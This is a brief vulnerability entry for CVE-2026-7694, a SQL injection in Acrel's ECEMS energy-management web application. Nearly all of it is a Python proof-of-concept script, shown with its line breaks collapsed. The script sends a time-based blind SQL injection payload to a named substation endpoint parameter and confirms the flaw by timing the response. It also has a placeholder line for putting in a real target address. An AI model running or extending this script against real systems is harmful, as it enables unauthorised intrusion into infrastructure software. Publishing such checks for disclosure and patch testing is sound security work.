CVE-2026-7694 Acrel ECEMS SQL注入漏洞

import requests def verify_sql_injection(url): """Function to verify SQL injection vulnerability""" target_url = f"{url}/SubstationWEBV2/main/elecMaxMinAvgValue" # Payload to test for time-based blind SQL injection payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" params = { "fCircuitids": payload } try: print(f"[+] Sending request to: {target_url}") response = requests.get(target_url, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Response delayed by payload.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"[Error] {e}") if __name__ == "__main__": target = "http://target-ip" # Replace with actual target verify_sql_injection(target)